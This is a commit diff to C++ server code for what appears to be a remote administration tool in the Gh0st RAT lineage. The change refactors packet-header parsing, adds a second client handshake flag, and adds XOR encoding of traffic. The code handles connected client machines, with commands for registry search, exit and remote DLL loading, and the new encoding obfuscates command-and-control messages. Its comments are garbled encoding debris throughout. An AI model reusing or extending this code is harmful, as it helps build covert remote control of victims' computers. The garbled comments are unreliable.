Move header parsing code to CONTEXT_OBJECT
This commit is contained in:
@@ -133,13 +133,17 @@ enum
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_KEYFRAME, // <20>ؼ<EFBFBD>֡
|
||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
|
||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -340,6 +340,20 @@ bool IsExitItem(CListCtrl &list, DWORD_PTR data){
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<CString> SplitCString(CString strData) {
|
||||
std::vector<CString> vecItems;
|
||||
CString strItem;
|
||||
int i = 0;
|
||||
|
||||
while (AfxExtractSubString(strItem, strData, i, _T('|')))
|
||||
{
|
||||
vecItems.push_back(strItem); // Add to vector
|
||||
i++;
|
||||
}
|
||||
return vecItems;
|
||||
}
|
||||
|
||||
|
||||
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
@@ -351,7 +365,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
}
|
||||
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
|
||||
|
||||
auto vec = SplitCString(tp.IsEmpty() ? "DLL" : tp);
|
||||
tp = vec[0];
|
||||
m_CList_Online.SetItemText(i,ONLINELIST_ADDR,strAddr);
|
||||
m_CList_Online.SetItemText(i,ONLINELIST_COMPUTER_NAME,strPCName);
|
||||
m_CList_Online.SetItemText(i,ONLINELIST_OS,strOS);
|
||||
|
||||
@@ -92,9 +92,6 @@ IOCPServer::IOCPServer(void)
|
||||
|
||||
m_hKillEvent = NULL;
|
||||
|
||||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||||
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||
|
||||
m_NotifyProc = NULL;
|
||||
m_OfflineProc = NULL;
|
||||
#if USING_CTX
|
||||
@@ -488,37 +485,33 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
||||
ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans);
|
||||
//<2F>鿴<EFBFBD><E9BFB4><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||
while (true)
|
||||
{
|
||||
char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8<>ֽڶ<D6BD><DAB6><EFBFBD>
|
||||
ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0);
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) {
|
||||
PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer);
|
||||
if (pr.IsFailed())
|
||||
{
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
break;
|
||||
}
|
||||
else if (pr.IsNeedMore()) {
|
||||
break;
|
||||
}
|
||||
|
||||
//Shine[50][kdjfkdjfkj]
|
||||
ULONG ulPackTotalLength = 0;
|
||||
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH);
|
||||
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), pr.Result);
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3><EFBFBD>5<EFBFBD>ֽڱ<D6BD>ʶ+4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>ܳ<EFBFBD><DCB3><EFBFBD>+4<>ֽ<EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
int bufLen = ContextObject->InCompressedBuffer.GetBufferLength();
|
||||
if (ulPackTotalLength && bufLen >= ulPackTotalLength)
|
||||
{
|
||||
ULONG ulCompressedLength = 0;
|
||||
ULONG ulOriginalLength = 0;
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
// TRACE("ulPackTotalLength: %d, ulOriginalLength: %d\n", ulPackTotalLength, ulOriginalLength);
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||
ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
|
||||
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
||||
delete[] CompressedBuffer;
|
||||
throw "Unknown method";
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> 436
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
size_t iRet = usingZstd ?
|
||||
Muncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength) :
|
||||
uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
@@ -527,6 +520,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
//ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||
}else if (usingZstd){
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
|
||||
@@ -534,6 +528,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->CompressMethod = COMPRESS_ZLIB;
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
} else {
|
||||
zlibFailed = true;
|
||||
@@ -593,6 +588,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
|
||||
#endif
|
||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||
ContextObject->Encode(szBuffer, ulOriginalLength);
|
||||
size_t iRet = usingZstd ?
|
||||
Mcompress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength):
|
||||
compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength);
|
||||
@@ -606,11 +603,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
|
||||
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
||||
|
||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
|
||||
delete [] CompressedBuffer;
|
||||
}
|
||||
|
||||
|
||||
@@ -20,6 +20,132 @@
|
||||
|
||||
std::string GetRemoteIP(SOCKET sock);
|
||||
|
||||
// Encoder interface. The default encoder will do nothing.
|
||||
class Encoder {
|
||||
public:
|
||||
virtual ~Encoder(){}
|
||||
// Encode data before compress.
|
||||
virtual void Encode(unsigned char* data, int len) const{}
|
||||
// Decode data after uncompress.
|
||||
virtual void Decode(unsigned char* data, int len) const{}
|
||||
};
|
||||
|
||||
// XOR Encoder implementation.
|
||||
class XOREncoder : public Encoder {
|
||||
private:
|
||||
std::vector<char> Keys;
|
||||
|
||||
public:
|
||||
XOREncoder(const std::vector<char>& keys = {0}) : Keys(keys){}
|
||||
|
||||
virtual void Encode(unsigned char* data, int len) const {
|
||||
XOR(data, len, Keys);
|
||||
}
|
||||
|
||||
virtual void Decode(unsigned char* data, int len) const {
|
||||
static std::vector<char> reversed(Keys.rbegin(), Keys.rend());
|
||||
XOR(data, len, reversed);
|
||||
}
|
||||
|
||||
protected:
|
||||
void XOR(unsigned char* data, int len, const std::vector<char> &keys) const {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= key;
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
enum {
|
||||
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct PR {
|
||||
int Result;
|
||||
bool IsFailed() const {
|
||||
return PARSER_FAILED == Result;
|
||||
}
|
||||
bool IsNeedMore() const {
|
||||
return PARSER_NEEDMORE == Result;
|
||||
}
|
||||
}PR;
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
class HeaderParser {
|
||||
friend struct CONTEXT_OBJECT;
|
||||
protected:
|
||||
HeaderParser() {
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
}
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf) {
|
||||
const int MinimumCount = 8;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
}
|
||||
char szPacketFlag[32] = { 0 };
|
||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||
if (m_bParsed) { // Check if the header has been parsed.
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>";
|
||||
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
m_nFlagLen = m_nCompareLen;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
}
|
||||
else if (memcmp(version1, szPacketFlag, sizeof(version1) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version1, sizeof(version1) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
m_nFlagLen = m_nCompareLen + 3;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
}
|
||||
else {
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
return PR{ m_nFlagLen };
|
||||
}
|
||||
HeaderParser& Reset() {
|
||||
SAFE_DELETE(m_Encoder);
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
return *this;
|
||||
}
|
||||
BOOL IsParsed() const {
|
||||
return m_bParsed;
|
||||
}
|
||||
int GetFlagLen() const {
|
||||
return m_nFlagLen;
|
||||
}
|
||||
int GetHeaderLen() const {
|
||||
return m_nHeaderLen;
|
||||
}
|
||||
const char* GetFlag() const {
|
||||
return m_szPacketFlag;
|
||||
}
|
||||
Encoder* GetEncoder() const {
|
||||
return m_Encoder;
|
||||
}
|
||||
private:
|
||||
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
|
||||
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
||||
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
||||
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
enum IOType
|
||||
{
|
||||
IOInitialize,
|
||||
@@ -34,7 +160,7 @@ enum {
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct _CONTEXT_OBJECT
|
||||
typedef struct CONTEXT_OBJECT
|
||||
{
|
||||
CString sClientInfo[10];
|
||||
SOCKET sClientSocket;
|
||||
@@ -48,6 +174,7 @@ typedef struct _CONTEXT_OBJECT
|
||||
HANDLE hDlg;
|
||||
void *olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||
|
||||
VOID InitMember()
|
||||
{
|
||||
@@ -59,6 +186,7 @@ typedef struct _CONTEXT_OBJECT
|
||||
memset(&wsaOutBuffer,0,sizeof(WSABUF));
|
||||
olps = NULL;
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
}
|
||||
VOID SetClientInfo(CString s[10]){
|
||||
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++)
|
||||
@@ -69,6 +197,43 @@ typedef struct _CONTEXT_OBJECT
|
||||
CString GetClientData(int index) const{
|
||||
return sClientInfo[index];
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||
OutCompressedBuffer.WriteBuffer((LPBYTE)Parser.GetFlag(), Parser.GetFlagLen());
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
||||
}
|
||||
}
|
||||
// Read compressed buffer.
|
||||
PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = 0;
|
||||
char szPacketFlag[32] = {};
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
dataLen = totalLen - Parser.GetHeaderLen();
|
||||
PBYTE CompressedBuffer = new BYTE[dataLen];
|
||||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||||
return CompressedBuffer;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf) {
|
||||
return Parser.Parse(buf);
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||||
}
|
||||
// Decode data after uncompress.
|
||||
void Decode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
}
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
@@ -100,8 +265,6 @@ public:
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
|
||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
Reference in New Issue
Block a user